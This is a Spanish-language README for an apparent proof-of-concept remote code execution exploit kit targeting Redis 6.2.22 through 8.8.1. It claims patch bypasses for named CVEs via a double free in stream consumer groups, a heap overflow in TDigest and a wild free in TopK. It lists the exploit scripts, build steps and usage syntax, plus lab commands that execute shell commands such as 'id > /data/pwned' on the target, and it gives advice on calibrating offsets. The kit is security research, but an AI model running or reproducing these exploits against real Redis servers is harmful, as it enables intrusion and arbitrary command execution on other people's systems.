
PoC de RCE para Redis 6.2.22, 7.4.9, 8.6.4, 8.8.0, 8.8.1
Exploits de RCE no destructivos para Redis 6.2.22, 7.4.9, 8.6.4 mediante la doble liberación de NACK compartido en grupos de consumidores de streams (una evasión del parche de CVE-2026-25243), para 8.8.0 mediante un desbordamiento de heap en TDigest dentro del RedisBloom incluido, y para 8.8.1 mediante una liberación salvaje en TopK (una evasión del parche de CVE-2026-25589).
A_exploit_stock.py — exploit para 6.2.22 (imagen redis:6.2.22)P74_exploit.py (+ P74_g2.py) — exploit para 7.4.9 (imagen redis:7.4)P86_exploit.py — exploit para 8.6.4 (imagen redis:8.6)P88W_exploit.py (+ P88W_lib.py, P88W_corrupt.py) — exploit para
8.8.0 (imagen redis:8.8.0, mediante desbordamiento de heap en
TDigest del módulo incluido)T88_exploit.py — exploit para 8.8.0 y 8.8.1 (mediante liberación
salvaje en TopK del módulo incluido; evasión de la corrección
incompleta de CVE-2026-25589 — funciona en RedisBloom v8.8.0 y v8.8.2)A_lib.py, G2_arbread.py — helpers compartidos (deben estar junto a
los exploits)crc64.c/h, crcspeed.c/h — fuentes de libcrc64.so (CRC64 de Redis,
necesario para construir payloads RESTORE válidos)calibrate.sh — calcula los offsets binarios para compilaciones no
oficialesP74_loop.sh, P86_run.sh — envoltorios de reintento de arranquegcc -shared -fPIC -O2 -o libcrc64.so crc64.c crcspeed.c
Requisitos: Python 3.6+ (sin paquetes pip), gcc.
# 6.2.22 (DEBUG enabled by default)
python3 A_exploit_stock.py <host> <port> [password] [trigger]
# 7.4.9 / 8.6.4 — stock target, NO debug flag needed
python3 P74_exploit.py <host> <port> [password] [trigger]
python3 P86_exploit.py <host> <port> [password] [trigger]
# 8.8.0 — stock target, FRESH container/instance strongly recommended
python3 P88W_exploit.py <host> <port> [password] [trigger]
# 8.8.0 / 8.8.1 — TopK wild free, stock target, fresh instance recommended
python3 T88_exploit.py <host> <port> [password] [trigger]
password — omítelo (o pasa "") para objetivos sin autenticacióntrigger — comando de shell; por defecto escribe una prueba en
/data/pwned*Ejemplos:
# local lab, 6.2.22
docker run -d -p 6379:6379 redis:6.2.22 redis-server --requirepass exploitme
python3 A_exploit_stock.py 127.0.0.1 6379 exploitme "id > /data/pwned_stock"
# local lab, 7.4.9
docker run -d -p 6379:6379 redis:7.4 redis-server --requirepass exploitme
python3 P74_exploit.py 127.0.0.1 6379 exploitme "id > /data/pwned74"
# local lab, 8.6.4
docker run -d -p 6379:6379 redis:8.6 redis-server --requirepass exploitme
python3 P86_exploit.py 127.0.0.1 6379 exploitme "id > /data/pwned86"
# local lab, 8.8.0
docker run -d -p 6379:6379 redis:8.8.0 redis-server --requirepass exploitme
python3 P88W_exploit.py 127.0.0.1 6379 exploitme "id > /data/pwned88"
python3 T88_exploit.py 127.0.0.1 6379 exploitme "id > /data/pwned_t88"
--str-format-off etc.;
consulta --help), o ejecuta ./calibrate.sh /path/to/redis-server [/path/to/libc.so.6] para generarlos. Unos offsets incorrectos
provocan la caída del servidor objetivo (lecturas fuera de rango).EVAL, RESTORE, XGROUP
(8.8.0/8.8.1 también necesitan el módulo RedisBloom incluido, presente
por defecto).HARDENING.md para más detalles. El exploit de
8.8.0 deja ~2000 estructuras tdigest a cero y una clave oracle
corrupta — no hagas FLUSHALL/SAVE en el objetivo después.TopK_Destroy sigue leyendo todos los punteros k más
allá del heap de tamaño insuficiente tanto en RedisBloom v8.8.0 como
en v8.8.2).Solo para pruebas autorizadas.